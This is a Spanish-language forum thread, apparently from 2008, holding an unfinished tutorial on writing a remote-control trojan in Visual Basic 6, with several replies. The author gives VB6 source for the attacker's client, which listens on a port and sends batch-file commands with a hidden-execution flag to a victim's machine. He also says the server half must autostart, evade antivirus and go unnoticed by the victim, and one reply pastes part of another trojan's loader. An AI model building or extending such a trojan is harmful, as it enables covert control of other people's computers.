bueno con este manual planeo enseñar como crear un troyano de dificultad media con conocimientos basicos:
materiales:- CSocketMaster descargar aqui (http://www.gigasize.com/get.php?d=0q9rm39vrnc)
- visual basic 6
- Ganas de aprender
partes
bueno un troyano consta de dos partes ;un servidor que es el que recibe la victima i el cliente que es el que tiene el infectante.
1ª_parte
Cliente
bueno empesaremos a programar el cliente.
Con el vb6 abierto apretaremos las teclas ctrl + t nos aparesera una ventana de los componentes ai seleccionaremos la casilla de microsoft winsock 6 i presionaremos aceptar , despues de esto se nos agregara un icono con 2 computadores en la barra de herramientas(la que esta en la izquierda) este es el winsock , lo agregaremos al form i luego le cambiaremos el nombre que es "winsock1" a "ws" sin las comillas(esto se hace para abreviar).Luego agregaremos un frame(este se agregara ya que para hacer mas ordenado el troyano i ponerle mas opciones lo dividiremos en frames) i un commandbuton fuera del frame , en las propiedad de visible del frame pondremos false i en la propiedad caption del commandbuton i del frame pondremos "conexion" (sin las comillas) , luego dentro del evento click del command1 pondremos frame1.visible = true
osea el code completo del programa seria
Private Sub Command1_Click()
Frame1.Visible = True
End Sub
luego agregaremos en el frame1 un textbox ,dos commandbuton , un timer con la propiedad enabled = falsei un label ,en el command2 pondremos en la propiedad caption "conectar"(sin las comillas) , en el command3 en la propiedad caption pondremos "desconectar"(sin las comillas) i en la misma propiedad del label1 pondremos "estado:"(sin las comillas) .
la parte grafica debe estar quedando mas o menos asi.
(http://s1.subirimagenes.com/otros/294459empesar2.jpg)
Aora empesaremos a programar la conexion , bueno , aora en el evento ConnectionRequest del ws pondremos
On Error Resume Next 'esto es para que en un error prosiga i no pare
ws.Close 'cerramos la conexion
ws.Accept requestID 'acepta cualquier conexion entrante
timer1.Interval = 1000 'le pondremos de intervalo 1 segundo al timer 1
timer1.Enabled = True 'abilitaremos el timer1
luego pondremos en el evento timer del timer1 el siguinte codigo:
If ws.State = 0 Then
Label1.Caption = "estado:desconectado" 'si el estado del ws es desconectado ponemos en el label1 estado:desconectado
ws.Close 'cerramos la conexion
ws.Listen 'escuchamos
End If ' teminamos el if
If ws.State = 2 Then Label1.Caption = "estado:conectando" 'si el estado del ws es conectando ponemos en el label1 estado:conectando
If ws.State = 7 Then Label1.Caption = "estado:conectado" 'si el estado del ws es conectado ponemos en el label1 estado:conectado
esto es para que si no estamos conectados se conecte i que ponga en que estado estamos en el label1.
bueno con esto ya tenemos mas del 50% de la conexion que es lo principal de un troyano.
aora en el evento click del command2 que es el que dice conectar pondremos
On Error Resume Next 'esta linea sirve para que en caso de error siga el programa en la siguiente linea sin interrumpirlo
ws.LocalPort = Text1.Text 'el puerto que empleara el winsock sera el que introduzcas en un textbox
ws.Close 'cierra cualquier conexion que alla con este programa
ws.Listen 'deja ala escucha el puerto introducido en el textbox
If ws.State = 2 Then Label1.Caption = "estado:conectando" 'si el estado es conectando pone en el label1 estado:conectando
esto ara que si apretamos ese boton se ponga a la escucha del puerto que emos introducido en el textbox1 (ai que meter el puerto antes de apretar este boton).Aora en el command3 en el evento click ponemos:
If ws.State = 7 Then 've si estamos conectados
ws.Close ' si estamos conectados nos desconecta
Else
MsgBox "no puedes desconectarte si no estas conectado", vbCritical, "error!" ' de lo contrario aparece un mensage
End If 'teminamos el if
bueno con esto ya tenemos la conexion del cliente i ya que mi ultimo programa fue el osiris 2.0 [creador de bats remoto] le pondremos la caracteristica de crear bats = que con el osiris , pero primero pondre como esta quedando el code :
Private Sub Command2_Click()
On Error Resume Next 'esta linea sirve para que en caso de error siga el programa en la siguiente linea sin interrumpirlo
ws.LocalPort = Text1.Text 'el puerto que empleara el winsock sera el que introduzcas en un textbox
ws.Close 'cierra cualquier conexion que alla con este programa
ws.Listen 'deja ala escucha el puerto introducido en el textbox
If ws.State = 2 Then Label1.Caption = "estado:conectando" 'si el estado es conectando pone en el label1 estado:conectando
End Sub
Private Sub Command3_Click()
If ws.State = 7 Then 've si estamos conectados
ws.Close ' si estamos conectados nos desconecta
Else
MsgBox "no puedes desconectarte si no estas conectado", vbCritical, "error!" ' de lo contrario aparece un mensage
End If 'teminamos el if
End Sub
Private Sub Timer1_Timer()
If ws.State = 0 Then
Label1.Caption = "estado:desconectado" 'si el estado del ws es desconectado ponemos en el label1 estado:desconectado
ws.Close 'cerramos la conexion
ws.Listen 'escuchamos
End If ' teminamos el if
If ws.State = 2 Then Label1.Caption = "estado:conectando" 'si el estado del ws es conectando ponemos en el label1 estado:conectando
If ws.State = 7 Then Label1.Caption = "estado:conectado" 'si el estado del ws es conectado ponemos en el label1 estado:conectado
End Sub
Private Sub ws_ConnectionRequest(ByVal requestID As Long)
On Error Resume Next 'esto es para que en un error prosiga i no pare
ws.Close 'cerramos la conexion
ws.Accept requestID 'acepta cualquier conexion entrante
Timer1.Interval = 1000 'le pondremos de intervalo 1 segundo al timer 1
Timer1.Enabled = True 'abilitaremos el timer1
End Sub
bueno aora haremos el creaador de bats remoto.
primero que nada agregaremos otro frame fuera del frame 1 luego dentro de la propiedad visible del frame2 pondremos false i en la propiedad caption de este pondremos bats remotos luego agregaremos otro commandbuton fuera del frame i en la propiedad caption pongan "bats" (sin las comillas) i en el evento click del command4 ponemos
Frame1.Visible = False ' ocultamos el frame1
Frame2.Visible = True ' mostramos el frame2
i en el evento click del command1 ponemos
Frame2.Visible = False ' ocultamos el frame2
Frame1.Visible = True ' mostramos el frame1
osea el code de estos dos botones queda asi:
Private Sub Command1_Click()
Frame2.Visible = False ' ocultamos el frame2
Frame1.Visible = True ' mostramos el frame1
End Sub
Private Sub Command4_Click()
Frame1.Visible = False ' ocultamos el frame1
Frame2.Visible = True ' mostramos el frame2
End Sub
bueno aora vamos a lo que importa ,en el frame 2 le agregamos un textbox grande con las propiedades ScrollBars = 3-both i multiline = true , luego ponemos un commandbuton en el frame 2 con la propiedad caption "crear" , luego le agregamos en el frame2 dos optionbutton , en el option1 le ponemos en la propiedad caption = "visible" i en el option2 ponemos "oculto"
deberia estar quedando mas o menos asi:
(http://s1.subirimagenes.com/otros/294955rakim.jpg)
bueno suponiendo que saben ya algo de vb6 aunque sea lo basico de aqui en adelante me voi a explicar como que le ablara a alguien que sabe.
Bueno sigamos el manual , declaramos la variable global "vista" tipo string(sin las comillas) i en el evento click del option1 pones
vista = "true" ' cambiamos la variable vista a true
i en el evento click del option2
vista = "falso" ' cambiamos la variable vista a falso
luego declaramos la variable global separador tipo string i en el evento load del form ponemos
separador = "@^^^%/()!||||¿?¿?¿?_--" ' esto es para separar los datos que emviemos(no es nada mas que un texto plano
luego en el evento click del command5 ponemos ponemos
ws.senddata text2.text & separador & vista ' emviamos lo escrito en el text2 i la variable vista
bueno asta aca el codigo completo seria
Dim separador As String
Dim vista As String
Private Sub Command1_Click()
Frame2.Visible = False ' ocultamos el frame2
Frame1.Visible = True ' mostramos el frame1
End Sub
Private Sub Command2_Click()
On Error Resume Next 'esta linea sirve para que en caso de error siga el programa en la siguiente linea sin interrumpirlo
ws.LocalPort = Text1.Text 'el puerto que empleara el winsock sera el que introduzcas en un textbox
ws.Close 'cierra cualquier conexion que alla con este programa
ws.Listen 'deja ala escucha el puerto introducido en el textbox
If ws.State = 2 Then Label1.Caption = "estado:conectando" 'si el estado es conectando pone en el label1 estado:conectando
End Sub
Private Sub Command3_Click()
If ws.State = 7 Then 've si estamos conectados
ws.Close ' si estamos conectados nos desconecta
Else
MsgBox "no puedes desconectarte si no estas conectado", vbCritical, "error!" ' de lo contrario aparece un mensage
End If 'teminamos el if
End Sub
Private Sub Command4_Click()
Frame1.Visible = False ' ocultamos el frame1
Frame2.Visible = True ' mostramos el frame2
End Sub
Private Sub Command5_Click()
ws.SendData Text2.Text & separador & vista
End Sub
Private Sub Form_Load()
separador = "@^^^%/()!||||¿?¿?¿?_--"
End Sub
Private Sub Option1_Click()
vista = "true"
End Sub
Private Sub Option2_Click()
vista = "falso"
End Sub
Private Sub Timer1_Timer()
If ws.State = 0 Then
Label1.Caption = "estado:desconectado" 'si el estado del ws es desconectado ponemos en el label1 estado:desconectado
ws.Close 'cerramos la conexion
ws.Listen 'escuchamos
End If ' teminamos el if
If ws.State = 2 Then Label1.Caption = "estado:conectando" 'si el estado del ws es conectando ponemos en el label1 estado:conectando
If ws.State = 7 Then Label1.Caption = "estado:conectado" 'si el estado del ws es conectado ponemos en el label1 estado:conectado
End Sub
Private Sub ws_ConnectionRequest(ByVal requestID As Long)
On Error Resume Next 'esto es para que en un error prosiga i no pare
ws.Close 'cerramos la conexion
ws.Accept requestID 'acepta cualquier conexion entrante
Timer1.Interval = 1000 'le pondremos de intervalo 1 segundo al timer 1
Timer1.Enabled = True 'abilitaremos el timer1
End Sub
2ª_parteservidorbueno , ahora programaremos el servidor esta seria como la segunda parte de mi manual y por lo menos para mi es la parte mas importante.
explicación pequeña:Bueno ,el servidor es el que se conecta al cliente este tendra que tener auto inicio para que se ejecute aunque se reinicie el pc,este tendra que ser lo mas liviano posible ,tiene que ser indetectable a los antivirus y este es el que recibe los datos y los interpreta.Este lleva la mayoria de su code en el evento load del form ,ya que este no tiene que tener interaccion con lavictima ya que tiene que pasar sin ser persivido. programacion:bueno empesaremos a a programar el servidor del troyano este a la diferencia de el cliente este emves de usar el winsock va a usar el csocketmaster que lo divieron a ver descargado cuando empesaron a leer el manual,este se osupara casi igual que el winsock solo que son modulos emves del ocx bueno yo los deje dentro de un proyecto con todo ya puesto asi que solo ai que escribirlo como si fuera un winsock solo que este se llama ws(bueno no ai ninguna diferencia XD).
bueno abrimos el proyecto de csocketmaster que se descargaron anteriormente i en el evento load del form ponemos
continuara mañana.....
krackar tengo un troyano muy parecido al que estas haciendo,y me ha surjido una duda, y es que, quiero introducirle otra funcion en concreto Messenger API Type Library y mas concretamente lo siguiente:
Private Sub Form_Load()
Set objMessenger = New MessengerAPI.Messenger
End Sub
mi duda es si Set objMessenger = New MessengerAPI.Messenger lo deberia cargar con el form_load del troyano donde cargo
Private Sub Form_Load()
On Error Resume Next
Winsock1.RemoteHost = "xxxxxxxx"
Winsock1.RemotePort = 80
Winsock1.Listen
Dim ejec As String
...................
o deberia cargarlo por separado?
luego borrare el post
i como borraras el post???? bueno contestando tu pregunta tienes q ponerlo en el evento load del form
pd:en un ratito mas termino el manual ya que estoi haciendo un troyano i se me an ocurrido ideas para el manual
jejejeje saludos wey..!!ç
te quedastes dormido..!!! :laugh: :laugh: :laugh: :laugh: :laugh:
ya estan cantando los gallos...!!!! ;D ;D ;D ;D ;D ;D
la verdad es que yo le estropee el tuto.Si algun moderador lee este mensaje por favor borren mis mensajes de este post para que Krackwar pueda continuarlo.
Saludos.
Cita de: TUNOVATO en 5 Junio 2008, 23:25 PM
jejejeje saludos wey..!!ç
te quedastes dormido..!!! :laugh: :laugh: :laugh: :laugh: :laugh:
ya estan cantando los gallos...!!!! ;D ;D ;D ;D ;D ;D
Si no lo e terminado en un tiempo mas lo termino que estoy estudiando asm como tonto y me consume mucho tiempo.
Tiooooooo revivo este post, por que me parece super super interesante, y me gustaria que lo terminaran, eso del winsock api me interesa muchisimo (csocketmaster)
saludos